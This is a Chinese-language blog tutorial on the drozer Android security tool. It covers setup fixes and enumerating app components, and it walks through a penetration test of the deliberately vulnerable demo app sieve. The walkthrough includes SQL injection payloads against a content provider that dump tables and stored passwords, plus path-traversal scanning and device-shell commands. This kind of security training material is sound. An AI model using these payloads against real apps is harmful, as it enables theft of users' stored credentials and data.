BruceFan's Blog

Stay hungry, stay foolish

0%

drozer使用说明

环境配置

按照官网上的安装步骤安装后,原本可以使用,但是Mac升级后drozer连接时总是出现错误:

1
[Errno 35] 'Resource temporarily unavailable'

网上查了好多,没有解决办法,最后决定重新编译安装github上的drozer源码。
安装过程中发现缺少了很多库,应该是缺少环境所以会连接错误。
主要错误是:

1
zipimport.ZipImportError: can’t decompress data; zlib not available

1
fatal error: 'openssl/opensslv.h' file not found

需要重新编译安装zlibopenssl两个库,因为Mac升级后好像不支持openssl的头文件了。安装后还需要重新编译安装python源码,以加入zlibssl的支持。
drozer编译过程中还会提示缺少其他python库,使用:

1
$ sudo pip install twisted==10.2.0

进行安装即可,这里要注意一定要按照错误提示指定安装库的版本,因为drozer只认这个版本,高于或低于都会报错。

使用方法

运行drozer会话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ adb forward tcp:31415 tcp:31415 #adb forward tcp:local_port tcp:remote_port
$ drozer console connect
Selecting 98e42f04e96ae748 (LGE AOSP on HammerHead 4.4.4)

.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.3)
dz> list # 列出所有模块
app.activity.forintent Find activities that can handle the given intent
app.activity.info Gets information about exported activities.
app.activity.start Start an Activity
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
...

出现dz>提示符说明连接成功。
枚举安装的包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dz> run app.package.list # 列出设备中所有已安装的包
dz> run app.package.list -f [app name]
dz> run app.package.info -h # show UID/Permission etc.
...
optional arguments:
-h, --help
-a PACKAGE, --package PACKAGE
the identifier of the package to inspect
-d DEFINES_PERMISSION, --defines-permission DEFINES_PERMISSION
filter by the permissions a package defines
-f FILTER, --filter FILTER
keyword filter conditions
-g GID, --gid GID filter packages by GID
-p PERMISSION, --permission PERMISSION
permission filter conditions
-u UID, --uid UID filter packages by UID
-i, --show-intent-filters
show intent filters

其他的命令也都可以通过-h参数查看使用说明。

1
2
3
4
5
6
7
8
# 枚举activity
dz> run app.activity.info -h
# 枚举content provider
dz> run app.provider.info -h
# 枚举service
dz> run app.service.info -h
# 枚举broadcast receiver,动态注册的不能显示
dz> run app.broadcast.info -h

确定应用的受攻击面

1
dz> run app.package.attacksurface [package name]

运行Activity

1
dz> run app.activity.start --action android.intent.action.MAIN --category android.intent.category.LAUNCHER --component com.example.hello com.example.hello.MainActivity

运行Service

1
dz> run app.service.start --component com.linkedin.android com.linkedin.android.authenticator.AuthenticationService

用drozer做渗透测试

从官网下载演示的漏洞APP sieve.apk
A ‘Password Manager’ App, showcasing some common Android vulnerabilities.

在手机上安装这个APP后,用drozer进行渗透测试。
1.获取包名

1
dz> run app.package.list -f sieve

2.获取应用的基本信息

1
dz> run app.package.info -a com.mwr.example.sieve

3.确定attack surface

1
dz> run app.package.attacksurface com.mwr.example.sieve

4.Activity
(1) 获取Activity信息

1
dz> run app.activity.info -a com.mwr.example.sieve

(2) 启动Activity

1
2
dz> run app.activity.start --component com.mwr.example.sieve
dz> help app.activity.start

5.Content Provider
(1) 获取Content Provider信息

1
dz> run app.provider.info -a com.mwr.example.sieve

(2) Content Provider数据泄露
先获取所有可以访问的Uri:

1
dz> run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据

1
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查询到数据说明存在漏洞
(3)Content Provider SQL注入

1
2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错说明存在SQL注入
列出所有表:

1
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where type='table';--"

获取某个表中的数据

1
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from Key;--"

(4) 同时检测SQL注入和目录遍历

1
2
dz> run scanner.provider.injection -a com.mwr.example.sieve
dz> run scanner.provider.traversal -a com.mwr.example.sieve

6.Service
获取Service详情

1
dz> run app.service.info -a com.mwr.example.sieve

不使用drozer启动service

1
shell@hammerhead:/$ am startservice -n package.name/.SerivceName

7.Broadcast Receiver

1
2
dz> run app.broadcast.info # 获取broadcast receiver信息
dz> run app.broadcast.send # 通过intent发送broadcast receiver

8.文件操作
列出指定文件路径里全局可写/可读的文件

1
2
3
dz> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
dz> run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
dz> run app.broadcast.send --component 包名 --action android.intent.action.XXX

9.其他模块

1
2
3
dz> shell.start # 在设备上开启一个交互shell
dz> tools.file.upload / tools.file.download #上传/下载文件到设备
dz> tools.setup.busybox / tools.setup.munimalsu #安装可用的二进制文件

reference
《Android安全攻防实战》
http://www.cnblogs.com/goodhacker/p/3906180.html?utm_source=tuicool&utm_medium=referral